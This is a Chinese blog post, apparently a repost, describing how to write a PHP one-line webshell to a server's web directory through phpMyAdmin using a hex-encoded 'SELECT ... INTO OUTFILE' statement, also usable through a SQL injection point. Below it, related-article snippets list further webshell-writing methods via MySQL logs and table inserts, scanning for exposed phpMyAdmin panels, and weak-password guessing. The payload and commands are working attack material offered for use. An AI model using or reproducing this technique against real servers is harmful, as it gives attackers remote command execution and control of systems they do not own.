phpmyadmin\select into outfile导出webshell技巧

最新推荐文章于 2022-11-05 19:46:09 发布
最新推荐文章于 2022-11-05 19:46:09 发布
阅读量237 收藏
点赞数
文章标签： php 数据库
原文链接：http://www.cnblogs.com/mujj/articles/1989896.html
版权

在网上看到的都是先建立一个表。然后插入一句话木马。再查询并导出，经过我实验 其实不用建表 就可以导出文件的
比如我们进入了phpmyadmin，随便点击一个数据库，然后点击sql,接着执行

select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile 'd:/xamp/www/ok.php'

即可将一句话<?php eval($_REQUEST[cmd]);?>导出得到webshell.

遇到php+mysql注入点的时候 如果权限允许并且php.ini里面magic_quotes_gpc=off时候也可以在相应地方直接写入一句话到 web目录,jsp+mysql的话就不需要考虑magic_quotes_gpc... 

转载于:https://www.cnblogs.com/mujj/articles/1989896.html

weixin_30501857
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
phpmyadmin上传Webshell总结
afei001
08-31 520
目录 1.select查询输出webshell （1）创建表并INTO OUTFILE写入一句话 （2）select ... INTO OUTFILE写入一句话 2.通过构造命令执行拿shell （1）构造命令执行 （2）命令执行使用system()函数报错解决 3.secure_file_priv值不为空解决办法 4.通过数据库日志写入webshell （1）通过查询日志写入webshell （2）通过慢查询日志写入webshell 5.菜刀连接Windows和Linux系统区别
phpmyadmin渗透拿webshell
qq_45793883的博客
01-31 840
首先我们用诸如下图的谷歌语法比如：inurl:index.php intitle:phpMyAdmin 以及shoudan,钟馗之眼等可以再网上搜到一大批暴露的phpmyadmin，看到个文章讲的比较详细https://blog.csdn.net/weixin_44023460/article/details/84925950 我们可以尝试弱口令爆破 ，爆破工具：http://ximcx.cn/p...
phpmyadmin登录后台后利用日志或file_into写入webshell
不想当脚本小子的脚本小子
01-15 576
必须为root权限并且已知网站路径： 在后台管理界面中，将general log改为ON ，general log file另存为网站目录下（webshell必须写入到网站目录下） 再利用sql语句写入用菜刀连接即可
select into outfile导出webshell技巧
收集盒 Book box
01-14 6814
select into outfile导出webshell技巧   在网上看到的都是先建立一个表。然后插入一句话木马。再查询并导出，经过我实验 其实不用建表 就可以导出文件的   比如我们进入了phpmyadmin，随便点击一个数据库，然后点击sql,接着执行select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3
PhPmyadmin提权之FILE权限修改
weixin_67803112的博客
11-05 563
每一次渗透都是在开盲盒,永远不知道下一个难点在哪里……需要我们一次次尝试,一次次失败,一次次总结,才会把我们所谓的难点变成基操…..
通过phpmyadmin拿下webshell
weixin_30561177的博客
11-14 88
废话： 1.听说网上卖手机的网站很多是诈骗的，搜到一个499元货到付款的手机网站。有点像诈骗，但倒觉得他是在收集用户信息 2.把网站扔到御剑，搜到phpmyadmin的后台，试试下账号密码居然都是默认的（root root) 省得爆破了 步骤： 1. 2. 3. 转载于:https://www.cnblogs.com/zuoxiaolongzzz/p/78354...
在phpmyadmin后台获取webshell方法汇总整理
weixin_33754913的博客
02-27 219
方法一： CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL ); INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('&lt;?php @eval($_POST[xiaoma])?&gt;'); SELECT xiaomaFROM study INTO OUTFILE 'E:/...
利用phpmyadmin获得webshell
Mikasa
03-12 1553
这个是网上无意间找到的测试了一下竟然可用。。。嘿嘿嘿嘿嘿 1.利用Nmap扫描当前局域网网段上所有主机 nmap -sn -PE 192.168.1.0/24 ##扫描192.168.1网段上的所有主机 发现： 发现了不少于是，一个一个试试看打开了phpstudy没有，最终发现了一个： 竟然连探针都没删，暴露了物理地址！！！还可以试试phpinfo.php有没有删除。。还有进行...
phpmyadmin上传Webshell总结.docx
08-31
SELECT <field> FROM <table> INTO OUTFILE '<file_path>'; DROP TABLE IF EXISTS ; ``` 或者直接使用`SELECT ... INTO OUTFILE`语句： ```sql select '($_POST[pwd]);?>' into outfile '<file_path>'; ```...
mysql木马一句话_phpmyadmin写一句话木马拿webshell思路（骇客协会）
weixin_39790877的博客
02-07 447
先介绍MySQL导出一句话木马的语法(我个人比较喜欢说思路)Drop TABLE IF EXISTS temp; //如果存在temp就删掉Create TABLE temp(cmd text NOT NULL); //建立temp表，里面就一个cmd字段Insert INTO temp (cmd) VALUES(' php eval_r($_POST[cmd]);?>'); //把一句话木...
Mysql注入中的outfile、dumpfile、load_file函数详解
01-19
在利用sql注入漏洞后期，最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell，其中比较常用的函数有以下三个 into dumpfile() into outfile() load_file() 我们本次的测试数据如下 读写文件函数调用的限制 因为涉及到在服务器上写入文件，所以上述函数能否成功执行受到参数 secure_file_priv 的影响。官方文档中的描述如下 翻译一下就是 其中当参数 secure_file_priv 为空时，对导入导出无限制 当值为一个指定的目录时，只能向指定的目录导入导出 当值被设置为NULL时，禁止导
php mysql 注入一句话木马_phpmyadmin写一句话木马拿webshell思路（骇客协会）
weixin_35562134的博客
01-28 1316
先介绍MySQL导出一句话木马的语法(我个人比较喜欢说思路)Drop TABLE IF EXISTS temp; //如果存在temp就删掉Create TABLE temp(cmd text NOT NULL); //建立temp表，里面就一个cmd字段Insert INTO temp (cmd) VALUES(' php eval_r($_POST[cmd]);?>'); //把一句话木...
phpmyadmin拿权限
kzyyx的博客
08-31 786
标题phpmyadmin拿权限 挺垃圾的一个网站通过弱口令root进入后台。 最主要还能直接直行根目录下phpinfo查看网站绝对路径。 1.首先尝试执行outfile语句写入一句话木马 报错显示说是数据库正在运行–secure_file_priv选项，无法执行outfile这个语句。感觉在这个参数上做了限制。 这是secure_file_priv参数的说明。 2.执行show variables like “%secure%”; 查看配置 回显设置为NULL，没有做限制。暂时不知道原因，后续懂了做补
SQL注入写入webshell
bring_coco的博客
03-13 5995
前言 在所有常用的关系数据库管理系统中均包含内置的向服务器文件系统写文件的功能，通过这些内置的功能，我们可以将自己的webshell写目录或文件进去 写入webshell条件 1.MYSQL用secure_file_priv这个配置项来完成对数据导入导出的限制， 如果secure_file_priv=NULL，MYSQL服务会禁止导入和导出操作。 如果secure_file_priv=/tmp/，MYSQL服务只能在/tmp/目录下导入和导出 如果secure_file_priv="" ，MYSQL
mysql into outfile语法_select into outfile导出数据sql语句
weixin_39851914的博客
02-01 863
select into outfile命令是mysql中一种用来导出数据的一个常用的命令，下面我来介绍select into outfile的用法，有需要的朋友可参考。mysql管理数据当然可以很方便的导出数据，但是当数据量很大是，phpmyadmin很可能会发生执行超时，其实很容易用select into outfile解决！SELECT...INTO OUTFILE语句的主要作用是让您可以非常...
phpMyAdmin 漏洞小集合
SoulCat
08-07 5607
phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞（CVE-2016-5734）+4.8.1 远程文件包含漏洞（CVE-2018-12613） 有情有义又是无米之炊，无情无义却是饕餮盛宴. 远程代码执行漏洞（CVE-2016-5734） phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库，创建、删除、修...
phpMyAdmin漏洞利用与安全防范
weixin_44023460的博客
12-08 3523
phpMyAdmin漏洞利用与安全防范   simeon Freebuf最近刊发了一篇文章《下一个猎杀目标：近期大量MySQL数据库遭勒索攻击》，链接地址http://www.freebuf.com/news/127945.html，笔者在对phpMyAdmin漏洞进行研究时发现国内的一些数据库中已经存在数据库病毒，甚至勒索信息，这些病毒的一个表现就是会在mysql的user表中创建随机名字的...
使用SELECT .. INTO OUTFILE 导出文本文件
天蝎承载梦想的博客
09-24 2819
SELECT COLUMNLIST FROM TABLE WHERE CONDITION INTO OUTFILE 'FILENAME' [OPTIONS] -- OPTIONS选项 FIELDS TERMINATED BY 'VALUE' FIELDS [OPTIONALLY] ENCLOSED BY 'VALUE' FIELDS ESCAPED BY 'VALUE' LINES ST...
phpmyadmin将MySQL数据导出并分类
最新发布
05-31
您可以按照以下步骤将MySQL数据导出并分类： 1. 登录phpMyAdmin，并选择要导出的数据库。 2. 在顶部导航栏中选择“导出”选项卡。 3. 在“导出”页面中，选择您要导出的表，或者选择“全部”。 4. 在“输出”选项卡中，选择您要导出的数据格式，例如SQL、CSV等，并选择“导出方式”（如“快速”或“完整”）。 5. 在“选项”选项卡中，选择您要导出的数据的其他选项，例如“添加DROP TABLE语句”、“添加INSERT语句”等。 6. 单击“Go”按钮，在您选择的导出格式中导出数据。 7. 将导出的数据按照您的需求进行分类，例如创建新的文件夹并将相关表的数据放在一起。 请注意，此过程可能因phpMyAdmin版本而有所不同。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值